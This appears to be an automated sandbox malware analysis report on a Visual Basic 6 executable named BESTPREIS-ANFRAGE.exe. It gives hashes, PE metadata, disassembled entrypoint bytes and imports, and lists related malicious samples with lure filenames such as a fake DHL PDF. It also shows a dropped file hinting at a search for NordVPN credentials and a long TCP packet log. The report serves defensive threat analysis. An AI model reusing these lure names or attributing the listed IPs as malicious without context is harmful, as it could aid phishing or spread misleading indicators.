Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
37f463bf4616ecd445d4a1937da06e19	VtLAo0xV0T.exe	Get hash	malicious	Browse	142.250.186.142 142.250.184.193
	qkF3PCHVXs.xls	Get hash	malicious	Browse	142.250.186.142 142.250.184.193
	7RIDZ5nRku.exe	Get hash	malicious	Browse	142.250.186.142 142.250.184.193
	DHL 03845435654.pdf.exe	Get hash	malicious	Browse	142.250.186.142 142.250.184.193
	Bilgilendirme Bekleyen M#U00fc#U015fteriler.exe	Get hash	malicious	Browse	142.250.186.142 142.250.184.193
	ORDFOR.ppam	Get hash	malicious	Browse	142.250.186.142 142.250.184.193
	AOW4RAmsiu.xls	Get hash	malicious	Browse	142.250.186.142 142.250.184.193
	tms.dll	Get hash	malicious	Browse	142.250.186.142 142.250.184.193
	Fax000-rheistman-SwiftMT109-INV.html	Get hash	malicious	Browse	142.250.186.142 142.250.184.193
	cs.exe	Get hash	malicious	Browse	142.250.186.142 142.250.184.193
	cs.exe	Get hash	malicious	Browse	142.250.186.142 142.250.184.193
	cs.exe	Get hash	malicious	Browse	142.250.186.142 142.250.184.193
	lNGoS47gJW.exe	Get hash	malicious	Browse	142.250.186.142 142.250.184.193
	Funkt.exe	Get hash	malicious	Browse	142.250.186.142 142.250.184.193
	LT8x22KHHG.exe	Get hash	malicious	Browse	142.250.186.142 142.250.184.193
	HVHU71yzzA.exe	Get hash	malicious	Browse	142.250.186.142 142.250.184.193
	6Fy45hLYl0.exe	Get hash	malicious	Browse	142.250.186.142 142.250.184.193
	ExQjKsR148.exe	Get hash	malicious	Browse	142.250.186.142 142.250.184.193
	fXMEzg5Fjm.exe	Get hash	malicious	Browse	142.250.186.142 142.250.184.193
	n5xOe1FLjX.exe	Get hash	malicious	Browse	142.250.186.142 142.250.184.193

Dropped Files

No context

Created / dropped Files

\Device\ConDrv Download File
Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	30
Entropy (8bit):	3.964735178725505
Encrypted:	false
SSDEEP:	3:IBVFBWAGRHneyy:ITqAGRHner
MD5:	9F754B47B351EF0FC32527B541420595
SHA1:	006C66220B33E98C725B73495FE97B3291CE14D9
SHA-256:	0219D77348D2F0510025E188D4EA84A8E73F856DEB5E0878D673079D05840591
SHA-512:	C6996379BCB774CE27EEEC0F173CBACC70CA02F3A773DD879E3A42DA554535A94A9C13308D14E873C71A338105804AFFF32302558111EE880BA0C41747A08532
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	NordVPN directory not found!..

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	5.878253229279087
TrID:	Win32 Executable (generic) a (10002005/4) 99.15% Win32 Executable Microsoft Visual Basic 6 (82127/2) 0.81% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	BESTPREIS-ANFRAGE.exe
File size:	94208
MD5:	8d3b546ad98991973c7e6711e41a89ad
SHA1:	c14f4afa5d0c5b29087d5d43a6c9f1b9c2393c19
SHA256:	5fdae1f887f2b5fd73bd94b5bf0f4168600c285238114fb016afe88da811312c
SHA512:	16cc8e029d88c1b493cea50223255c9cf11e36cf0aed844ff7d47000271f050fd2130e327749102f33759826555a7ded1e343bb903bee6fcb9853e50b801de69
SSDEEP:	1536:t2vhBmgBSh31zof8pbckOzNENFrM3Qz1hV:tgm+YZckJFhH
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........i.......................*..............Rich....................PE..L....vBK.................@... ......8........P....@........

File Icon


Icon Hash:	8218a48e8e8c8c00

Static PE Info

General
Entrypoint:	0x401438
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
DLL Characteristics:
Time Stamp:	0x4B4276ED [Mon Jan 4 23:17:01 2010 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	347652fa39e149f868cae330a1e78c77

Entrypoint Preview

Instruction
push 0040FC54h
call 00007F711C9663B3h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
inc eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx-2Ch], cl
adc eax, 69D4C6DEh
dec edx
cmpsb
inc edx
rcr dword ptr [ebx], FFFFFF96h
in eax, dx
or eax, 00000000h
add byte ptr [eax], al
add dword ptr [eax], eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push ebx
imul esp, dword ptr [ebp+73h], 6Ch
jnc 00007F711C966427h
jnc 00007F711C966436h
xor al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
dec esp
xor dword ptr [eax], eax
or eax, CC61C041h
and al, 80h
mov eax, 3980A946h
xor eax, 0A52AC3Eh
je 00007F711C96641Eh
xchg eax, esp
cmp dword ptr [ebx+6Ah], esp
mov edx, 9BFCA643h
mov al, 72h
and edi, dword ptr [esi]
mov edx, 33AD4F3Ah
cdq
iretw
adc dword ptr [edi+00AA000Ch], esi
pushad
rcl dword ptr [ebx+00000000h], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop ebx
in eax, 00h
add byte ptr [esi+00000001h], cl
or dword ptr [eax], eax
inc esi
inc ecx
push esp
push esp
inc ebp
dec esp
dec ecx
inc edi
push esp
add byte ptr [46000601h], cl
popad
jc 00007F711C9663F5h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x13a04	0x28	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x16000	0x530	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x230	0x20
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x168	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x1300c	0x14000	False	0.511560058594	data	6.35127341059	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.data	0x15000	0xd28	0x1000	False	0.00634765625	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x16000	0x530	0x1000	False	0.133544921875	data	1.40302746084	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x16408	0x128	GLS_BINARY_LSB_FIRST
RT_GROUP_ICON	0x163f4	0x14	data
RT_VERSION	0x160f0	0x304	data	Chinese	Taiwan

Imports

DLL

Import

MSVBVM60.DLL

_CIcos, _adj_fptan, __vbaVarMove, __vbaFreeVar, __vbaLineInputStr, __vbaStrVarMove, __vbaFreeVarList, _adj_fdiv_m64, __vbaFreeObjList, _adj_fprem1, __vbaRecAnsiToUni, __vbaStrCat, __vbaSetSystemError, __vbaRecDestruct, __vbaHresultCheckObj, _adj_fdiv_m32, __vbaAryDestruct, __vbaStrBool, __vbaObjSet, _adj_fdiv_m16i, __vbaObjSetAddref, _adj_fdivr_m16i, __vbaFpR8, _CIsin, __vbaChkstk, __vbaFileClose, EVENT_SINK_AddRef, __vbaGenerateBoundsError, __vbaStrCmp, __vbaAryConstruct2, __vbaI2I4, DllFunctionCall, _adj_fpatan, __vbaRecUniToAnsi, EVENT_SINK_Release, _CIsqrt, EVENT_SINK_QueryInterface, __vbaExceptHandler, _adj_fprem, _adj_fdivr_m64, __vbaFPException, __vbaStrVarVal, _CIlog, __vbaFileOpen, __vbaNew2, __vbaInStr, _adj_fdiv_m32i, _adj_fdivr_m32i, __vbaStrCopy, __vbaI4Str, __vbaFreeStrList, _adj_fdivr_m32, _adj_fdiv_r, __vbaVarTstNe, __vbaVarAdd, __vbaVarDup, __vbaStrToAnsi, __vbaFpI4, __vbaRecDestructAnsi, _CIatan, __vbaStrMove, __vbaCastObj, __vbaR8IntI4, _allmul, _CItan, _CIexp, __vbaFreeStr, __vbaFreeObj

Version Infos

Description	Data
Translation	0x0404 0x04b0
LegalCopyright	Jumping
InternalName	VENALIZE
FileVersion	4.04.0001
CompanyName	Jumping
LegalTrademarks	Jumping
Comments	Jumping
ProductName	Jumping
ProductVersion	4.04.0001
FileDescription	Jumping
OriginalFilename	VENALIZE.exe

Possible Origin

Language of compilation system	Country where language is spoken	Map
Chinese	Taiwan

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 24, 2021 21:53:39.230540991 CEST	49721	443	192.168.11.20	142.250.186.142
Sep 24, 2021 21:53:39.230621099 CEST	443	49721	142.250.186.142	192.168.11.20
Sep 24, 2021 21:53:39.230840921 CEST	49721	443	192.168.11.20	142.250.186.142
Sep 24, 2021 21:53:39.256671906 CEST	49721	443	192.168.11.20	142.250.186.142
Sep 24, 2021 21:53:39.256725073 CEST	443	49721	142.250.186.142	192.168.11.20
Sep 24, 2021 21:53:39.308715105 CEST	443	49721	142.250.186.142	192.168.11.20
Sep 24, 2021 21:53:39.308904886 CEST	49721	443	192.168.11.20	142.250.186.142
Sep 24, 2021 21:53:39.311608076 CEST	443	49721	142.250.186.142	192.168.11.20
Sep 24, 2021 21:53:39.311836958 CEST	49721	443	192.168.11.20	142.250.186.142
Sep 24, 2021 21:53:39.544450998 CEST	49721	443	192.168.11.20	142.250.186.142
Sep 24, 2021 21:53:39.544507027 CEST	443	49721	142.250.186.142	192.168.11.20
Sep 24, 2021 21:53:39.545181990 CEST	443	49721	142.250.186.142	192.168.11.20
Sep 24, 2021 21:53:39.545345068 CEST	49721	443	192.168.11.20	142.250.186.142
Sep 24, 2021 21:53:39.551598072 CEST	49721	443	192.168.11.20	142.250.186.142
Sep 24, 2021 21:53:39.593956947 CEST	443	49721	142.250.186.142	192.168.11.20
Sep 24, 2021 21:53:40.190301895 CEST	443	49721	142.250.186.142	192.168.11.20
Sep 24, 2021 21:53:40.190457106 CEST	443	49721	142.250.186.142	192.168.11.20
Sep 24, 2021 21:53:40.190515995 CEST	49721	443	192.168.11.20	142.250.186.142
Sep 24, 2021 21:53:40.190624952 CEST	49721	443	192.168.11.20	142.250.186.142
Sep 24, 2021 21:53:40.190660000 CEST	443	49721	142.250.186.142	192.168.11.20
Sep 24, 2021 21:53:40.190812111 CEST	443	49721	142.250.186.142	192.168.11.20
Sep 24, 2021 21:53:40.190820932 CEST	49721	443	192.168.11.20	142.250.186.142
Sep 24, 2021 21:53:40.190967083 CEST	49721	443	192.168.11.20	142.250.186.142
Sep 24, 2021 21:53:40.197266102 CEST	49721	443	192.168.11.20	142.250.186.142
Sep 24, 2021 21:53:40.197365999 CEST	443	49721	142.250.186.142	192.168.11.20
Sep 24, 2021 21:53:40.292510986 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.292593956 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.292818069 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.293075085 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.293121099 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.330638885 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.330813885 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.330885887 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.331370115 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.331640005 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.341737986 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.341784954 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.342453957 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.342621088 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.342891932 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.385951996 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.585639954 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.585815907 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.585949898 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.586133003 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.586142063 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.586337090 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.586679935 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.587531090 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.587712049 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.587730885 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.587970018 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.587981939 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.588162899 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.588299036 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.588354111 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.588363886 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.588692904 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.594651937 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.594831944 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.594844103 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.594852924 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.595060110 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.595076084 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.595298052 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.595478058 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.595673084 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.595685005 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.595949888 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.596141100 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.596400976 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.596415997 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.596679926 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.596806049 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.597029924 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.597039938 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.597281933 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.597502947 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.597693920 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.597706079 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.597948074 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.598247051 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.598442078 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.598457098 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.598731995 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.598886013 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.599226952 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.599239111 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.599451065 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.599541903 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.599735975 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.599745989 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.600054026 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.600100994 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.600243092 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.600404978 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.600418091 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.600420952 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.600630999 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.600985050 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.601121902 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.601151943 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.601164103 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.601176023 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.601406097 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.601411104 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.601901054 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.602056980 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.602078915 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.602092028 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.602303028 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.602312088 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.602813005 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.602950096 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.603151083 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.603164911 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.603168964 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.603327990 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.604231119 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.604372978 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.604569912 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.604577065 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.604583025 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.604747057 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.604762077 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.604938984 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.604952097 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.604954958 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.605180025 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.605314016 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.605489016 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.605505943 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.605566978 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.605840921 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.605855942 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.606092930 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.606257915 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.606611013 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.606626034 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.606821060 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.606857061 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.606964111 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.606976986 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.607379913 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.607518911 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.607670069 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.607701063 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.607731104 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.607748032 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.607758999 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.607923985 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.607928991 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.608115911 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.608396053 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.608549118 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.608560085 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.608608961 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.608774900 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.608788013 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.608791113 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.608999014 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.609222889 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.609411955 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.609438896 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.609445095 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.609452009 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.609641075 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.609646082 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.609689951 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.610089064 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.610260010 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.610285997 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.610625029 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.610637903 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.610991955 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.611005068 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.611120939 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.611159086 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.611315966 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.611326933 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.611330032 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.611334085 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.611490965 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.611851931 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.611993074 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.612021923 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.612117052 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.612127066 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.612292051 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.612468004 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.612662077 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.612781048 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.612858057 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.613045931 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.613059044 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.613220930 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.613228083 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.613555908 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.613673925 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.613707066 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.613739014 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.613930941 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.613940001 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.613941908 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.613945007 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.614085913 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.614433050 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.614543915 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.614569902 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.614604950 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.614613056 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.614780903 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.614789009 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.614790916 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.614957094 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.614963055 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.615148067 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.615339994 CEST	49722	443	192.168.11.20	142.250.184.193
